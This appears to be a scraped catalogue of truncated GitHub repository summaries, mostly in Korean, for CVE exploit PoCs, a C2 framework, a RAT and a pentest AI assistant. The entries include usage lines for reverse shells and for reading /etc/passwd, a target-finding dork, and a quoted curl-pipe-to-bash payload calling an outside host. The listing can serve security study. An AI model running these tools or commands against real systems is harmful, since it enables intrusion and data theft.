CVE-2021-31760

..| CVE-2021-31760 |.. 설명 : Webmin의 실행 중인 프로세스 기능을 통해 사이트 간 요청 위조CSRF 공격을 악용하여 원격 명령 실행RCE을 달성합니다. 테스트된 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 익스플로잇 코드 POC : YouTube POC : https://youtu.be/D45FN8QrzDo 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버와 서비스를 위...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat 명령 실행 결과 에코. 이 프로젝트는 ysoserial 및 Java-Rce-Echo를 기반으로 합니다. 프로젝트를 빌드하려면 종속성에 ysoserial.jar와 jato-14.6.3.jar를 추가해야 합니다. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

CVE-2011-2523

CVE-2011-2523 이것은 통제된 환경에서 공격 방법론을 만들기 위한 메모입니다. 해당 실습은 블랙박스black box 환경이라는 전제에서 출발하므로, 피해 시스템에 대한 정보를 알 수 없는 상태입니다. 1- 메타스플로잇블2Metasploitable2와 칼리Kali 또는 다른 ISO 등 필요한 ISO를 다운로드합니다. 2- 중요: 환경은 VMware로 구성되어 있으므로 두 머신 모두 이 하이퍼바이저에서 실행해야 합니다. 3- 초기 과정은 ip 확인을 수행하여 두 지점머신 간에 연결이 존재하는지 확인합니다. 4- nmap...

CVE-2023-28771-PoC

CVE-2023-28771-PoC CVE-2023-28771에 대한 PoC - Rapid7의 뛰어난 분석 자료를 기반으로 함 IKE 패킷 전송을 위해 scapy Python 라이브러리가 필요합니다. usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help message and exit --cmd CMD --lhost LHOST --lpor...

CVE-2026-39987-POC

CVE-2026-39987 - Marimo 0.23.0 사전 인증 RCE WebSocket Marimo 0.23.0 이전 버전의 치명적인 사전 인증 원격 코드 실행RCE 취약점에 대한 개념 증명PoC 익스플로잇입니다. 이 취약점은 인증되지 않은 공격자가 WebSocket 엔드포인트/terminal/ws에 연결하여 대상 서버에서 임의의 시스템 명령을 실행할 수 있게 합니다. 기능 자동 검증 : 버전을 식별하고 Marimo 애플리케이션의 존재 여부를 확인favicon 및 /api/version 엔드포인트를 통해하여 대상의 취약점을...

cve-2016-1555

설명 이 모듈은 Netgear WN604버전 3.3.3 미만 및 WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, WNDAP660버전 3.5.5.0 미만에서 인증되지 않은 임의 명령 실행 취약점을 활용합니다. 이 취약점은 라우터가 1 boardData102.php, 2 boardData103.php, 3 boardDataJP.php, 4 boardDataNA.php, 5 boardDataWW.php에서 오는 POST 요청을 처리하는 방식에서 발생합니다. 이 취약점은...

CVE-2022-1388

CVE-2022-1388 익스플로잇 CVE 2022-1388을 위한 익스플로잇 및 확인 스크립트 사용법 단일 호스트 URL 확인 python3 exploit.py -v true -u targeturl 호스트를 공격하고 명령을 실행하려면 python3 exploit.py -a true -u targeturl -c command 호스트 목록 또는 호스트 URL IP가 포함된 파일을 이용한 공격 python3 exploit.py -s true -f file 입력 파일을 사용하여 masscheck.py가 호스트가 익스플로잇 가능한지...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker 서버 측 템플릿 인젝션 VMware Workspace ONE Access 및 Identity Manager에서 매우 치명적인 것으로 분류된 취약점이 발견되었습니다. 영향을 받는 구성 요소는 Template Handler입니다. 참조: https://vuldb.com/?id.196644 사용법: python3 CVE-2022-22954.py example.com "cat /etc/passwd" 예시: 면책 조항 이 Pyth...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2는 교육용, 보안 연구 및 통제된 실험실 환경 전용 으로 설계된 암호화된 원격 관리 및 C2 프레임워크 입니다. 이 프로젝트는 외부 TLS 스택에 의존하지 않고 애플리케이션 계층 암호화 , 세션 관리 및 안전한 클라이언트 통신을 갖춘 맞춤형 명령 및 제어 서버 를 구축하는 방법을 보여줍니다. ⚠️ 중요 공지 이 프로젝트는 악성코드가 아니며 무단 접근을 위한 것이 아닙니다. BlackBerryC2: 자체적으로 전파되지 않음 자동으로 취약점을 악용하지 않음 지속성...

KindaRails2Shell

KindaRails2Shell: CVE-2026-66066 Rails Active Storage/libvips 임의 파일 읽기 취약점에 대한 무의존성zero-dependency 단일 파일 개념 증명PoC이자 루프백 전용 Docker 실습 환경입니다. 또한 복구된 secretkeybase에서 위조된 이미지 variation과 명령 실행으로 이어지는 보안 권고의 조건부 권한 상승을 시연합니다. 영향을 받는 버전: Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3 수정된 버전: Rails 7.2.3....

RadareEye

인근 장치를 스캔하고 대상 장치가 범위 내에 들어오면 명령을 실행하는 도구입니다. 참고:- RadareEye 소유자는 이 도구를 사용하여 악의적인 활동을 수행하는 사용자에 대해 책임을 지지 않습니다. 학습 목적으로만 사용하세요. RadareEye 설치 방법 : git clone https://github.com/souravbaghz/RadareEye 사용 방법: ./radare 사용 가능한 옵션: -blue 블루투스 RadareEye -ble BLE RadareEye -wifi Wi-Fi AP RadareEye 블루투스...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 이 저장소는 hgrab-framework 의 일부입니다. dork title: "Zimbra Web Client Sign In" 영향을 받는 제품 Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 및 이전 버전 Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 및 이전 버전 설치 서버에 앱을 설치하세요. user@domain: git clone...

CVE-2021-41773

CVE-2021-41773 go 언어 poc&exp 프로젝트입니다. 고지: 이 프로젝트는 저자의 일상 학습 노트에서 비롯되었습니다. 관련 기술 및 도구를 불법 테스트에 사용하지 마십시오. 이로 인해 발생하는 모든 불리한 결과에 대해 저자는 책임지지 않습니다. 사용 방법: ./main -u 单个url ./main -u -c 单个url执行单个命令 ./main -f 批量验证url文件 ./main -f -o 验证url文件，有漏洞的导出 ./main -u -cmd 循环非交互式执行命令 프로그램 실행 결과: 다음 단계로 thread 모듈을...

sunlogin_rce

서문 별로 할 말은 없고, 바로 도구와 취약한 버전을 올립니다. 로컬에서 테스트해보시면 좋고, 불법 테스트에 사용하지 마세요. 테스트한向日葵 클라이언트 취약 버전: 11.0.0.33162 취약한 클라이언트는 소스 코드에 포함되어 있습니다. 포트 스캔은 다음을 사용했습니다: https://github.com/jboursiquot/portscan 취약 버전 피드백 기반 11.1.1 10.3.0.27372 11.0.0.33162 명령어 설명 -h 대상 지정 -t 스캔 또는 명령 실행 선택 기본값: scan -p 스캔 포트 범위 설정...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 マスターで実行: python exp.py --exec-choose master --exec-cmd "whoami" ミニオンで実行: python exp.py --exec-choose minions --exec-cmd "whoami" シェル取得: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ファイル読み取り: python exp.py --read /etc/passwd ファイルアップロード: python...

ghost

ghost ghost 는 서버/공격자에게 사용자의 명령줄 인터프리터cmd.exe에 대한 완전한 원격 액세스를 제공하는 가벼운 RAT입니다. 클라이언트/좀비가 알아채지 못하게 명령을 조용히 실행할 수 있습니다. 서버/공격자는 또한 클라이언트/좀비의 컴퓨터에서 파일을 다운로드하고 실행할 수 있는 권한을 부여받습니다. 이것 또한 조용하고 숨겨진 프로세스입니다. 대부분의 원격 액세스 트로이 목마와 마찬가지로, 이 다운로드 및 실행 기능은 바이러스와 기타 악성코드를 유포하는 데 도움이 됩니다. 이 악성코드는 zombie.exe 를...

xxl-job

xxl-job 실행기 RESTful API 무단 접근 RCE 실행 로그 Console을 이용하여 명령 실행 성공 결과를 얻을 수 있습니다: Example: /joblog/logDetailPage?id=xxxx JDK 환경 변수 확인 String var3 = System.getProperties.toString; System.out.printlnvar3; 명령 실행 /jobcode?jobId=x import com.xxl.job.core.log.XxlJobLogger; import...

pentest-muse-cli

Pentest Muse Pentest Muse는 사이버보안 전문가를 위한 AI 어시스턴트입니다. 침투 테스터가 아이디어를 브레인스토밍하고, 페이로드를 작성하고, 코드를 분석하고, 정찰을 수행하는 데 도움을 줄 수 있습니다. 또한 작업을 수행하고, 명령줄 코드를 실행하며, 복잡한 작업을 반복적으로 해결할 수 있습니다. Pentest Muse 웹 앱 이 명령줄 도구 외에도 Pentest Muse 웹 애플리케이션을 소개하게 되어 기쁩니다! 웹 앱은 최신 온라인 정보에 접근할 수 있으며, 펜테스팅 작업에 좋은 AI 어시스턴트가 될...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect 어노테이션을 통한 코드 인젝션 먼저, Pod와 Service를 배포해야 합니다: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: - "-text=apple" --- kind: Service apiVersion: v1...